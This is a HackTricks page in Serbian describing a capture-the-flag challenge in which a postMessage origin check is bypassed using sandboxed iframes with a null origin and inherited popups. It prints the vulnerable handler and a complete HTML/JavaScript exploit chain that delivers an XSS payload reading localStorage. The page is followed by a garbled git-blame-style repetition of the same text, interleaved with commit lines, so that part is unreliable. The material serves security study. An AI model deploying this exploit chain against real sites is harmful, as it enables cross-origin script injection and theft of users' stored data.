hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

# Bypassing SOP with Iframes - 1

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-1

U ovom [**izazovu**](https://github.com/terjanq/same-origin-xss) koji su kreirali [**NDevTK**](https://github.com/NDevTK) i [**Terjanq**](https://github.com/terjanq) potrebno je da iskoristite XSS u kodiranom
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke toj funkciji, morate **bypass** `e.origin !== window.origin`.

Hajde da vidimo rešenje koje predlažu.

### SOP bypass 1 (e.origin === null)

Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **prisiliti `null` origin**.

Ako je stranica bila **embeddable**, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).

### SOP bypass 2 (window.origin === null)

Manje poznata činjenica je da kada je **sandbox vrednost `allow-popups` postavljena**, tada će **otvoreni popup** **naslediti** sve **sandboxed atribute** osim ako `allow-popups-to-escape-sandbox` nije postavljen.\
Dakle, otvaranje **popupa** iz **null origin** će učiniti da **`window.origin`** unutar popupa takođe bude **`null`**.

### Rešenje izazova

Stoga, za ovaj izazov, može se **napraviti** **iframe**, **otvoriti popup** na stranicu sa ranjivim XSS kodom (`/iframe.php`), pošto je `window.origin === e.origin` jer su oba `null`, moguće je **poslati payload koji će iskoristiti XSS**.

Taj **payload** će dobiti **identifikator** i poslati **XSS** **nazad na glavnu stranicu** (stranicu koja je otvorila popup), **koja** će **promeniti lokaciju** na **ranjivi** `/iframe.php`. Pošto je identifikator poznat, nije važno što uslov `window.origin === e.origin` nije ispunjen (zapamtite, origin je **popup** iz iframe-a koji ima **origin** **`null`**) jer `data.identifier === identifier`. Tada će se **XSS ponovo aktivirati**, ovaj put u ispravnom originu.
```html
<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Podržite HackTricks</summary>

* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>
{% endhint %}
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`# Bypassing SOP with Iframes - 1`

			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`## Iframes in SOP-1`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`U ovom [izazovu](https://github.com/terjanq/same-origin-xss) koji su kreirali [NDevTK](https://github.com/NDevTK) i [Terjanq](https://github.com/terjanq) potrebno je da iskoristite XSS u kodiranom`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```javascript
			`const identifier = '4a600cd2d4f9aa1cfb5aa786';`
			`onmessage = e => {`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`const data = e.data;`
			`if (e.origin !== window.origin && data.identifier !== identifier) return;`
			`if (data.type === 'render') {`
			`renderContainer.innerHTML = data.body;`
			`}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`}`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke toj funkciji, morate bypass `e.origin !== window.origin`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`Hajde da vidimo rešenje koje predlažu.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`### SOP bypass 1 (e.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Kada je `//example.org` ugrađen u sandboxed iframe, tada će origin stranice biti `null`, tj. `window.origin === null`. Tako da samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo prisiliti `null` origin.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Ako je stranica bila embeddable, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`### SOP bypass 2 (window.origin === null)`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Manje poznata činjenica je da kada je sandbox vrednost `allow-popups` postavljena, tada će otvoreni popup naslediti sve sandboxed atribute osim ako `allow-popups-to-escape-sandbox` nije postavljen.\
			Dakle, otvaranje popupa iz null origin će učiniti da `window.origin` unutar popupa takođe bude `null`.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated to Serbian 2024-02-10 13:11:20 +00:00			`### Rešenje izazova`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Stoga, za ovaj izazov, može se napraviti iframe, otvoriti popup na stranicu sa ranjivim XSS kodom (`/iframe.php`), pošto je `window.origin === e.origin` jer su oba `null`, moguće je poslati payload koji će iskoristiti XSS.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			Taj payload će dobiti identifikator i poslati XSS nazad na glavnu stranicu (stranicu koja je otvorila popup), koja će promeniti lokaciju na ranjivi `/iframe.php`. Pošto je identifikator poznat, nije važno što uslov `window.origin === e.origin` nije ispunjen (zapamtite, origin je popup iz iframe-a koji ima origin `null`) jer `data.identifier === identifier`. Tada će se XSS ponovo aktivirati, ovaj put u ispravnom originu.
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			```html
			`<body>`
Translated to Serbian 2024-02-10 13:11:20 +00:00			`<script>`
			`f = document.createElement('iframe');`

			`// Needed flags`
			`f.sandbox = 'allow-scripts allow-popups allow-top-navigation';`

			`// Second communication with /iframe.php (this is the top page relocated)`
			`// This will execute the alert in the correct origin`
			const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
			`x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');`
			},1000);`.replaceAll('\n',' ');

			`// Initial communication`
			`// Open /iframe.php in a popup, both iframes and popup will have "null" as origin`
			`// Then, bypass window.origin === e.origin to steal the identifier and communicate`
			`// with the top with the second XSS payload`
			f.srcdoc = `
			`<h1>Click me!</h1>`
			`<script>`
			`onclick = e => {`
			`let w = open('https://so-xss.terjanq.me/iframe.php');`
			`onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';`
			`setTimeout(_ => {`
			`w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')`
			`}, 1000);`
			`};`
			`<\/script>`
			`
			`document.body.appendChild(f);`
			`</script>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`</body>`
			```
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`{% hint style="success" %}`
			`Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`<summary>Podržite HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`* Proverite [planove pretplate](https://github.com/sponsors/carlospolop)!`
			`* Pridružite se 💬 [Discord grupi](https://discord.gg/hRep4RUj7f) ili [telegram grupi](https://t.me/peass) ili pratite nas na Twitteru 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Podelite hakerske trikove slanjem PR-ova na [HackTricks](https://github.com/carlospolop/hacktricks) i [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie 2024-07-19 04:51:32 +00:00			`{% endhint %}`